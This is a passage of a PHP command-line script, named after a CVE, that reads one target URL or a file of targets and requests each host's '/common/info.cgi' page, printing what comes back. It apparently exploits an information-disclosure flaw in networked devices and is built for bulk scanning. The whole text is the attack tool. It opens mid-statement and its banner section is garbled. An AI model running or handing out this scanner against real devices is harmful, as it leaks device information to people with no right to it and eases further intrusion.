argc = $argc ; $this->argv = $argv ; $this->clear_screen(); $this->print_banner() ; if ($this->argc ===1 or $this->argc > 3) { $this->print_help(); $error = ($this->argc ===1 ) ? "[!] No args supplied!\n" : "[!] Too many args!\n"; die($error) ; } else { $this->process_args_and_start_scan() ; } } private function print_banner(){ $banner = <<argv[0] ." -f filename.txt\n" ; echo "\t".$this->argv[0]." -u http://target:port/ \n"; } private function process_args_and_start_scan(): void { switch ($this->argv[1]) { case "-f": $this->load_from_file() ; break ; case "-u": echo "[*] Scanning single terget \n" ; $this->targets[] = $this->argv[2] ; break ; default: die("[!] Invalid args!\n") ; } // call the scan start func; $this->start_scan(); } private function load_from_file(): void { $file_path =$this->argv[2] ; $file = fopen($file_path,'r') or die("[!] Cannot open file $file_path") ; echo "[*] Loading targets from file....\n" ; while (!feof($file)) { $line = fgets($file); $line = trim($line) ; $this->targets[] = $line; } } private function start_scan():void { foreach ($this->targets as $target) { echo "[*] Scanning $target\n" ; try{ $this->scan($target) ; } catch (Exception $ex) { echo "[".$ex->getCode()."]" . $ex->getMessage() ."\n" ; } finally{ //I am karlos } } } private function scan($target) { try{ $res= @file_get_contents($target."/common/info.cgi") ; echo "$res\n" ; } catch (Exception $ex) { echo "[".$ex->getCode()."]" . $ex->getMessage() ."\n" ; } } } new cve(); ?>